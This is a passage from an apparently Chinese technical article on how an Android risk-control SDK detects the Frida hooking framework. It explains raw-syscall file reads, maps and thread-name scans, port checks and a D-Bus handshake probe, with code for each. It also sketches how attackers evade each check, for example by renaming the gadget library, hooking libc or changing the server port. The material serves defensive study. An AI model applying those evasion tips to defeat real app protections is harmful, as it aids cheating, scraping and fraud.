syscall</span></strong></p></div></div></div></div></div></div></div></div><p><span leaf="" mpa-font-style="motoohz21aax" style="font-size: 15px;">讲完 Java 层多源，再看 native 层。</span></p><p><span mpa-font-style="motoohz2i4z" style="font-size: 15px;"><span leaf="">Frida 在 Android 上的入侵姿势，一大半都是 hook libc 的几个常用函数：</span><code><span leaf="">open</span></code><code><span leaf="">openat</span></code><code><span leaf="">read</span></code><code><span leaf="">fopen</span></code><code><span leaf="">fgets</span></code><code><span leaf="">pread</span></code><span leaf="">。原因很简单——绝大部分检测代码（不管是 Java 的</span><code><span leaf="">FileReader</span></code><span leaf="">还是 C 的</span><code><span leaf="">fopen</span></code><span leaf="">）底层都会落到 libc，hook 一个就能拦一片。</span></span></p><p><span mpa-font-style="motoohz211wa" style="font-size: 15px;"><code><span leaf="">cpp/util/syscall_wrapper.cpp</span></code><span leaf="">里直接走 raw syscall：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz2ksu"><span leaf=""><span class="code-snippet__comment">// Use raw syscall to avoid libc hooks</span></span><span leaf=""><br/></span><span leaf="">long</span><span leaf=""><span class="code-snippet__title">my_openat</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> dirfd, </span></span><span leaf=""><span class="code-snippet__params">const</span></span><span leaf=""><span class="code-snippet__params">char</span></span><span leaf=""><span class="code-snippet__params"> *path, </span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> flags, </span></span><span leaf=""><span class="code-snippet__params">mode_t</span></span><span leaf=""><span class="code-snippet__params"> mode)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">syscall</span>(__NR_openat, dirfd, path, flags, mode);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">long</span><span leaf=""><span class="code-snippet__title">my_read</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> fd, </span></span><span leaf=""><span class="code-snippet__params">void</span></span><span leaf=""><span class="code-snippet__params"> *buf, </span></span><span leaf=""><span class="code-snippet__params">size_t</span></span><span leaf=""><span class="code-snippet__params"> count)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">syscall</span>(__NR_read, fd, buf, count);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">long</span><span leaf=""><span class="code-snippet__title">my_close</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> fd)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">syscall</span>(__NR_close, fd);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="motoohz219id" style="font-size: 15px;"><code></code></span></p><p><span mpa-font-style="motoohz219id" style="font-size: 15px;"><code><span leaf="">syscall(__NR_openat, ...)</span></code><span leaf="">不走 libc 的</span><code><span leaf="">openat</span></code><span leaf="">包装函数，直接通过</span><code><span leaf="">syscall</span></code><span leaf="">这个汇编入口（ARM64 上是</span><code><span leaf="">svc #0</span></code><span leaf="">指令）陷入内核。Frida 默认 hook 的是 libc 的</span><code><span leaf="">openat</span></code><span leaf="">符号，syscall 路径完全绕开它。</span></span></p><p><span mpa-font-style="motoohz2a3z" style="font-size: 15px;"><span leaf="">如果攻击方只是</span><code><span leaf="">Interceptor.attach(Module.findExportByName(&#34;libc.so&#34;, &#34;openat&#34;), ...)</span></code><span leaf="">这种常规姿势，对 native 检测路径完全失效。要绕开这条得搞内核态 hook（kprobe / sys_call_table 改写），需要 root + 内核级访问；或者扫指令找到所有</span><code><span leaf="">svc #0</span></code><span leaf="">全部插桩，技术上能做，Frida 默认不干。工作量级再跳一档。</span></span></p><p><span mpa-font-style="motoohz218w2" style="font-size: 15px;"><code><span leaf="">syscall_wrapper.cpp</span></code><span leaf="">底下还封装了一个</span><code><span leaf="">read_file_content</span></code><span leaf="">，把 openat + read + close 包成一个函数，几乎所有 native 检测器读 proc 文件都走它。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 1px 0px;background-image: linear-gradient(90deg, rgba(247, 190, 148, 0) 0%, rgb(247, 190, 148) 50%, rgba(247, 190, 255, 0) 100%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(90deg, rgba(255, 235, 194, 0) 0%, rgb(255, 235, 194) 50%, rgba(255, 235, 194, 0) 100%);min-width: 5%;max-width: 100%;height: auto;padding: 8px 20px;border-top-style: solid;border-top-width: 0px;border-bottom-style: solid;border-bottom-width: 0px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(4, 4, 4);letter-spacing: 1px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">重头戏：Frida 检测的六层楼</span></strong></p></div></div></div></div></div></div></div></div><p><span leaf="" mpa-font-style="motoohz215ww" style="font-size: 15px;">这部分是 RiskEngine 最重的一块，单独放出来讲。</span></p><p><span leaf="" mpa-font-style="motoohz221wn" style="font-size: 15px;">这一块设计的时候有个明确的层次：从最入门的字符串扫描到最高级的内存检测，每一层都是独立的检测维度，单独看都可能被绕掉，但堆在一起就强迫攻击方在所有维度同时绕过。每层按&#34;常规做法 + 容易被绕的姿势 + RiskEngine 怎么做&#34;展开。</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="motoohz21sji" style="font-size: 15px;"><span leaf="">第 0 层：先把 Frida 怎么进来的捋清楚</span></span></h3><p><span leaf="" mpa-font-style="motoohz21qc2" style="font-size: 15px;">讲检测前先讲对手怎么动手。Frida 在 Android 上有两种主要落地方式：</span></p><p><span mpa-font-style="motoohz2sy4" style="font-size: 15px;"><strong><code><span leaf="">frida-server</span></code><span leaf="">模式</span></strong><span leaf="">：电脑 PC 通过 USB / TCP 连一个跑在手机上的</span><code><span leaf="">frida-server</span></code><span leaf="">，server 默认 27042 listen，跟客户端用 D-Bus over TCP 通信。需要 root，server 要 ptrace 目标进程。</span></span></p><p><span mpa-font-style="motoohz21p54" style="font-size: 15px;"><strong><code><span leaf="">frida-gadget</span></code><span leaf="">模式</span></strong><span leaf="">：把</span><code><span leaf="">libfrida-gadget.so</span></code><span leaf="">重打包进目标 APK，进程一启动</span><code><span leaf="">System.loadLibrary</span></code><span leaf="">把 gadget 装载进自己进程，gadget 自己跑一个 listener 等远程脚本连过来。不需要 root。</span></span></p><p><span leaf="" mpa-font-style="motoohz21ljk" style="font-size: 15px;">不管哪种，落到目标进程内一定会留下三类痕迹：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><strong mpa-font-style="motoohz2k53" style="font-size: 15px;"><span leaf="">被注入的代码</span></strong><p><span leaf="" mpa-font-style="motoohz21sxb" style="font-size: 15px;">——要么是 gadget 的 .so，要么是 server 端 ptrace 进来注入的代码段</span></p></li><li><strong mpa-font-style="motoohz26ap" style="font-size: 15px;"><span leaf="">新增的线程</span></strong><p><span leaf="" mpa-font-style="motoohz23qj" style="font-size: 15px;">——Frida runtime 起来要起 GLib 主循环、JS 引擎线程</span></p></li><li><strong mpa-font-style="motoohz21qj4" style="font-size: 15px;"><span leaf="">被改过的内存或指令</span></strong><p><span leaf="" mpa-font-style="motoohz2nub" style="font-size: 15px;">——这是 hook 的本质，要让原方法跳到 hook 实现，就得改原方法的入口</span></p></li></ul><p><span leaf="" mpa-font-style="motoohz2tlt" style="font-size: 15px;">下面六层检测顺着这三个维度排，越往上越靠近&#34;物理痕迹&#34;那一边。</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="motoohz2pzk" style="font-size: 15px;"><span leaf="">第 1 层：常规 Frida 检测</span></span></h3><p><span leaf="" mpa-font-style="motoohz21cvr" style="font-size: 15px;">入门三招：扫字符串、扫线程名、扫端口。这三招实现简单、成本极低、单独看都能被绕掉。先把这三招过一遍，再讲为什么留着。</span></p><p><span mpa-font-style="motoohz2ivk" style="font-size: 15px;"><strong><span leaf="">扫字符串</span></strong><span leaf="">。开</span><code><span leaf="">/proc/self/maps</span></code><span leaf="">，看里面有没有 frida 相关字串。</span><code><span leaf="">HookFrameworkDetector.java</span></code><span leaf="">第 96 行起：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz235a"><span leaf=""><span class="code-snippet__keyword">try</span> (</span><span leaf="">BufferedReader</span><span leaf=""><span class="code-snippet__variable">br</span> </span><span leaf="">=</span><span leaf=""><span class="code-snippet__keyword">new</span> <span class="code-snippet__title">BufferedReader</span>(<span class="code-snippet__keyword">new</span> <span class="code-snippet__title">FileReader</span>(<span class="code-snippet__string">&#34;/proc/self/maps&#34;</span>))) {</span><span leaf=""><br/></span><span leaf="">    String line;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">while</span> ((line = br.readLine()) != <span class="code-snippet__literal">null</span>) {</span><span leaf=""><br/></span><span leaf="">String</span><span leaf=""><span class="code-snippet__variable">lower</span> </span><span leaf="">=</span><span leaf=""> line.toLowerCase();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (lower.contains(<span class="code-snippet__string">&#34;frida&#34;</span>) || lower.contains(<span class="code-snippet__string">&#34;gadget&#34;</span>)) {</span><span leaf=""><br/></span><span leaf="">            addStrong(details, score, <span class="code-snippet__string">&#34;frida_maps:&#34;</span> + line.trim());</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">break</span>;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">} <span class="code-snippet__keyword">catch</span> (Exception ignored) {}</span></code></pre></p><p><span mpa-font-style="motoohz21km0" style="font-size: 15px;"><span leaf="">maps 一行行读，全转小写，看里面有没有</span><code><span leaf="">frida</span></code><span leaf="">或</span><code><span leaf="">gadget</span></code><span leaf="">。绕这层有两种姿势：把</span><code><span leaf="">libfrida-gadget.so</span></code><span leaf="">改名成</span><code><span leaf="">libutils_v2.so</span></code><span leaf="">重打包进 APK，maps 里再没 frida 字样了；或者 hook</span><code><span leaf="">open</span></code><span leaf="">/</span><code><span leaf="">openat</span></code><span leaf="">，让读</span><code><span leaf="">/proc/self/maps</span></code><span leaf="">时返回伪造内容。第二条 Java 路径走</span><code><span leaf="">FileReader</span></code><span leaf="">最终落到 libc 不抗 hook，但 native 路径走 raw syscall 不在此列。</span></span></p><p><span mpa-font-style="motoohz2d3v" style="font-size: 15px;"><strong><span leaf="">扫线程名</span></strong><span leaf="">。Frida runtime 起来后会在进程里创建带特征名的线程：</span><code><span leaf="">gum-js-loop</span></code><span leaf="">、</span><code><span leaf="">gmain</span></code><span leaf="">、</span><code><span leaf="">pool-frida</span></code><span leaf="">、</span><code><span leaf="">gdbus</span></code><span leaf="">。这些是 GLib 和 GUM 库内部线程，启动时就 setname 了。</span><code><span leaf="">HookFrameworkDetector.java</span></code><span leaf="">第 116 行起：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz21sk2"><span leaf="">java.io.</span><span leaf="">File</span><span leaf=""><span class="code-snippet__variable">taskDir</span> </span><span leaf="">=</span><span leaf=""><span class="code-snippet__keyword">new</span> <span class="code-snippet__title">java</span>.io.File(<span class="code-snippet__string">&#34;/proc/self/task&#34;</span>);</span><span leaf=""><br/></span><span leaf="">java.io.File[] tasks = taskDir.listFiles();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (tasks != <span class="code-snippet__literal">null</span>) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> (java.io.File task : tasks) {</span><span leaf=""><br/></span><span leaf="">        java.io.</span><span leaf="">File</span><span leaf=""><span class="code-snippet__variable">comm</span> </span><span leaf="">=</span><span leaf=""><span class="code-snippet__keyword">new</span> <span class="code-snippet__title">java</span>.io.File(task, <span class="code-snippet__string">&#34;comm&#34;</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (comm.exists()) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">try</span> (</span><span leaf="">BufferedReader</span><span leaf=""><span class="code-snippet__variable">br</span> </span><span leaf="">=</span><span leaf=""><span class="code-snippet__keyword">new</span> <span class="code-snippet__title">BufferedReader</span>(<span class="code-snippet__keyword">new</span> <span class="code-snippet__title">FileReader</span>(comm))) {</span><span leaf=""><br/></span><span leaf="">String</span><span leaf=""><span class="code-snippet__variable">threadName</span> </span><span leaf="">=</span><span leaf=""> br.readLine();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (threadName != <span class="code-snippet__literal">null</span> &amp;&amp; (threadName.contains(<span class="code-snippet__string">&#34;gum-js-loop&#34;</span>)</span><span leaf=""><br/></span><span leaf="">                        || threadName.contains(<span class="code-snippet__string">&#34;gmain&#34;</span>)</span><span leaf=""><br/></span><span leaf="">                        || threadName.contains(<span class="code-snippet__string">&#34;frida&#34;</span>))) {</span><span leaf=""><br/></span><span leaf="">                    addMedium(details, score, <span class="code-snippet__string">&#34;frida_thread:&#34;</span> + threadName);</span><span leaf=""><br/></span><span leaf="">                }</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="motoohz21aby" style="font-size: 15px;"><span leaf="">遍历</span><code><span leaf="">/proc/self/task/</span></code><span leaf="">，每个子目录是一个线程的目录，里面</span><code><span leaf="">comm</span></code><span leaf="">文件存线程名。</span></span></p><p><span mpa-font-style="motoohz219ud" style="font-size: 15px;"><code><span leaf="">/proc/[pid]/comm</span></code><span leaf="">和</span><code><span leaf="">/proc/[pid]/task/[tid]/comm</span></code><span leaf="">不是同一个东西。前者是进程主线程的名字，后者是某个具体线程的名字。Frida 是开新线程，主线程名字它没改，所以必须遍历 task 子目录。</span></span></p><p><span mpa-font-style="motoohz222d6" style="font-size: 15px;"><span leaf="">绕这一层的姿势：在 Frida 启动时 hook</span><code><span leaf="">prctl(PR_SET_NAME)</span></code><span leaf="">把线程名替换；或者拿 Frida 源码改名重新编译，把</span><code><span leaf="">gum-js-loop</span></code><span leaf="">改成</span><code><span leaf="">worker-x</span></code><span leaf="">；又或者拦截</span><code><span leaf="">/proc/self/task</span></code><span leaf="">的目录读取（hook</span><code><span leaf="">getdents64</span></code><span leaf="">），过滤掉 frida 的 tid——native 走 raw</span><code><span leaf="">getdents64</span></code><span leaf="">把这条打回去了。</span></span></p><p><span mpa-font-style="motoohz223qp" style="font-size: 15px;"><strong><span leaf="">扫端口</span></strong><span leaf="">。</span><code><span leaf="">frida-server</span></code><span leaf="">默认 27042 listen，最直接的检测就是 connect 这个端口：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz21m8q"><span leaf=""><span class="code-snippet__keyword">try</span> {</span><span leaf=""><br/></span><span leaf="">Socket</span><span leaf=""><span class="code-snippet__variable">socket</span> </span><span leaf="">=</span><span leaf=""><span class="code-snippet__keyword">new</span> <span class="code-snippet__title">Socket</span>();</span><span leaf=""><br/></span><span leaf="">    socket.connect(<span class="code-snippet__keyword">new</span> <span class="code-snippet__title">InetSocketAddress</span>(<span class="code-snippet__string">&#34;127.0.0.1&#34;</span>, <span class="code-snippet__number">27042</span>), <span class="code-snippet__number">120</span>);</span><span leaf=""><br/></span><span leaf="">    socket.close();</span><span leaf=""><br/></span><span leaf="">    addMedium(details, score, <span class="code-snippet__string">&#34;frida_port_open:27042&#34;</span>);</span><span leaf=""><br/></span><span leaf="">} <span class="code-snippet__keyword">catch</span> (Exception ignored) {}</span></code></pre></p><p><span mpa-font-style="motoohz2j05" style="font-size: 15px;"><code></code></span></p><p><span mpa-font-style="motoohz2j05" style="font-size: 15px;"><code><span leaf="">HookFrameworkDetector.java</span></code><span leaf="">第 108 行那段。短小精悍，攻击方一行</span><code><span leaf="">frida-server -l 0.0.0.0:9999</span></code><span leaf="">换端口就破。</span></span></p><p><span mpa-font-style="motoohz21g68" style="font-size: 15px;"><span leaf="">升级版在</span><code><span leaf="">util/ProcfsUtils.java</span></code><span leaf="">第 91 行：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz2mvl"><span leaf=""><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__title">Set</span>&lt;<span class="code-snippet__title">Integer</span>&gt; <span class="code-snippet__title">findLoopbackListeningPorts</span>() {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">LinkedHashSet</span>&lt;<span class="code-snippet__title">Integer</span>&gt; ports = <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">LinkedHashSet</span>&lt;&gt;();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">collectLoopbackPorts</span>(<span class="code-snippet__string">&#34;/proc/net/tcp&#34;</span>, ports);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">collectLoopbackPorts</span>(<span class="code-snippet__string">&#34;/proc/net/tcp6&#34;</span>, ports);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> ports;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="motoohz21j0e" style="font-size: 15px;"><span leaf="">不再固定端口，直接读</span><code><span leaf="">/proc/net/tcp</span></code><span leaf="">和</span><code><span leaf="">/proc/net/tcp6</span></code><span leaf="">，把所有 LISTEN 状态、绑在回环地址（127.0.0.1、::1、0.0.0.0、::）的端口列出来。</span></span></p><p><span mpa-font-style="motoohz282c" style="font-size: 15px;"><code><span leaf="">/proc/net/tcp</span></code><span leaf="">的格式可以照抄写 parser，不用查文档：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz2ekj"><span leaf="">sl</span><span leaf="">local_address</span><span leaf="">rem_address</span><span leaf="">st</span><span leaf="">tx_queue</span><span leaf="">rx_queue</span><span leaf="">tr</span><span leaf="">tm-</span><span leaf="">&gt;<span class="code-snippet__keyword">when</span> retrnsmt   uid ...</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0</span>: <span class="code-snippet__number">0100007</span></span><span leaf="">F</span><span leaf="">:<span class="code-snippet__number">69</span>A2 <span class="code-snippet__number">00000000</span>:<span class="code-snippet__number">0000</span> <span class="code-snippet__number">0</span>A <span class="code-snippet__number">00000000</span>:<span class="code-snippet__number">00000000</span> <span class="code-snippet__number">00</span>:<span class="code-snippet__number">00000000</span> <span class="code-snippet__number">00000000</span>  <span class="code-snippet__number">1000</span> ...</span></code></pre></p><p><span mpa-font-style="motoohz2gtw" style="font-size: 15px;"><span leaf="">每行一个连接。第二列</span><code><span leaf="">local_address</span></code><span leaf="">是 16 进制的</span><code><span leaf="">IP:PORT</span></code><span leaf="">，前 8 位是 IP（小端），后 4 位是端口。第四列</span><code><span leaf="">st</span></code><span leaf="">是状态，</span><code><span leaf="">0A</span></code><span leaf="">就是 LISTEN。</span></span></p><p><span mpa-font-style="motoohz21550" style="font-size: 15px;"><code><span leaf="">ProcfsUtils.readTcpTable</span></code><span leaf="">干的就是把这玩意儿解析出来，</span><code><span leaf="">isListening()</span></code><span leaf="">比对状态、</span><code><span leaf="">isLoopback()</span></code><span leaf="">判断是不是回环，组合后拿一份&#34;本机所有 LISTEN 端口&#34;。绕这层还能让 server 不 listen，切到 gadget 模式——gadget 默认是进程内通信，可以不开端口。这就把战场推到内存检测那一档去。</span></span></p><p><span leaf="" mpa-font-style="motoohz21t4z" style="font-size: 15px;">那这三招既然都能被绕，为什么还要留？</span></p><p><span mpa-font-style="motoohz2n0g" style="font-size: 15px;"><span leaf="">留着抓蠢的。现实里相当一部分外挂作者、爬虫开发者、刚学 Frida 的萌新，就是装上 frida-server 直接连过来跑脚本，不做任何隐藏。这三条规则一秒能把这一拨人全部拦掉。</span><strong><span leaf="">底层用便宜的规则筛掉量级最大的那批低质攻击，把昂贵的检测预算留给真正有威胁的少数对手</span></strong><span leaf="">——这是任何风控系统都该有的一层。</span></span></p><p><span leaf="" mpa-font-style="motoohz2lm9" style="font-size: 15px;">下一档开始进入&#34;扫到了之后还要确认它真是 frida&#34;这一阶段。</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="motoohz22502" style="font-size: 15px;"><span leaf="">第 2 层：D-Bus 协议探针</span></span></h3><p><span leaf="" mpa-font-style="motoohz2bzq" style="font-size: 15px;">第 1 层有个隐患：扫到一个 LISTEN 端口，但怎么确认它就是 frida-server？万一是别的合法服务呢？</span></p><p><span mpa-font-style="motoohz21v7r" style="font-size: 15px;"><span leaf="">这里换协议指纹。Frida 内部通信走 D-Bus over TCP。D-Bus 协议有个特点：客户端连上来要先发一个 NUL 字节加 AUTH 命令开始握手，服务端拒绝（认证失败、协议不对）会回一个以</span><code><span leaf="">REJECTED</span></code><span leaf="">开头的响应。</span></span></p><p><span mpa-font-style="motoohz2fd1" style="font-size: 15px;"><code><span leaf="">util/ProcfsUtils.java</span></code><span leaf="">第 212 行：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz211d8"><span leaf=""><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> String <span class="code-snippet__title">probeDbus</span>(<span class="code-snippet__params"><span class="code-snippet__built_in">int</span></span><span class="code-snippet__params"> port, </span><span class="code-snippet__params"><span class="code-snippet__built_in">int</span></span><span class="code-snippet__params"> timeoutMs</span>)</span><span leaf=""> {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">try</span> (Socket socket = <span class="code-snippet__keyword">new</span> Socket()) {</span><span leaf=""><br/></span><span leaf="">        socket.connect(<span class="code-snippet__keyword">new</span> java.net.InetSocketAddress(<span class="code-snippet__string">&#34;127.0.0.1&#34;</span>, port), timeoutMs);</span><span leaf=""><br/></span><span leaf="">        socket.setSoTimeout(timeoutMs);</span><span leaf=""><br/></span><span leaf="">        socket.getOutputStream().write(<span class="code-snippet__string">&#34;\0AUTH\r\n&#34;</span>.getBytes(StandardCharsets.US_ASCII));</span><span leaf=""><br/></span><span leaf="">        socket.getOutputStream().flush();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">byte</span>[] buffer = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">byte</span>[<span class="code-snippet__number">96</span>];</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">int</span> read = socket.getInputStream().read(buffer);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (read &lt;= <span class="code-snippet__number">0</span>) <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;&#34;</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> String(buffer, <span class="code-snippet__number">0</span>, read, StandardCharsets.US_ASCII).trim();</span><span leaf=""><br/></span><span leaf="">    } <span class="code-snippet__keyword">catch</span> (Exception ignored) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;&#34;</span>;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="motoohz222ka" style="font-size: 15px;"><span leaf="">发出去的 payload 就一个 NUL +</span><code><span leaf="">AUTH\r\n</span></code><span leaf="">，故意不带任何认证内容。frida-server 这种走 D-Bus 的会回</span><code><span leaf="">REJECTED EXTERNAL</span></code><span leaf="">或类似字串。普通 HTTP 服务器、其他 RPC 服务都不会有这种回包。</span></span></p><p><span leaf="" mpa-font-style="motoohz21cwh" style="font-size: 15px;">误报率几乎为零。这一招的价值在于把&#34;扫端口&#34;升级成&#34;协议握手&#34;，准确率拉满。</span></p><p><span mpa-font-style="motoohz2n24" style="font-size: 15px;"><span leaf="">回到</span><code><span leaf="">HookFrameworkDetector.java</span></code><span leaf="">第 137 行，把第 1 层和第 2 层串起来：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz21a5t"><span leaf=""><span class="code-snippet__title">Set</span>&lt;<span class="code-snippet__title">Integer</span>&gt; loopbackPorts = <span class="code-snippet__title">ProcfsUtils</span>.<span class="code-snippet__title">findLoopbackListeningPorts</span>();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> (<span class="code-snippet__title">Integer</span> port : loopbackPorts) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (port == <span class="code-snippet__literal">null</span> || port &lt;= <span class="code-snippet__number">0</span>) <span class="code-snippet__keyword">continue</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">String</span> response = <span class="code-snippet__title">ProcfsUtils</span>.<span class="code-snippet__title">probeDbus</span>(port, <span class="code-snippet__variable">PROBE_TIMEOUT_MS</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (response.<span class="code-snippet__title">toUpperCase</span>().<span class="code-snippet__title">startsWith</span>(<span class="code-snippet__string">&#34;REJECT&#34;</span>)) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">addStrong</span>(details, score, <span class="code-snippet__string">&#34;dbus_reject:&#34;</span> + port);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span leaf="" mpa-font-style="motoohz2jb" style="font-size: 15px;">把第 1 层拿到的所有 LISTEN 端口逐个发 D-Bus 探针。</span></p><p><span mpa-font-style="motoohz2cxa" style="font-size: 15px;"><span leaf="">举一反三：很多敏感工具都可以用类似思路做协议指纹。</span><code><span leaf="">adbd</span></code><span leaf="">在 5555 上跑，连过去发</span><code><span leaf="">host:version</span></code><span leaf="">回包带版本号；</span><code><span leaf="">gdbserver</span></code><span leaf="">连过去发</span><code><span leaf="">+</span></code><span leaf="">，回包是</span><code><span leaf="">$qSupported#73</span></code><span leaf="">这种 GDB Remote Serial Protocol 报文；</span><code><span leaf="">debugserver</span></code><span leaf="">（lldb 那边）也有自己的 banner。只要愿意花时间读协议规范，&#34;高准确率指纹&#34;全都能写出来。</span></span></p><p><span leaf="" mpa-font-style="motoohz21tgv" style="font-size: 15px;">绕这一层只能把 frida-server 的通信协议从 D-Bus 换成自定义二进制协议。技术上能做，等于自己 fork 一个 frida-tools 维护，几乎没人愿意。</span></p><h3 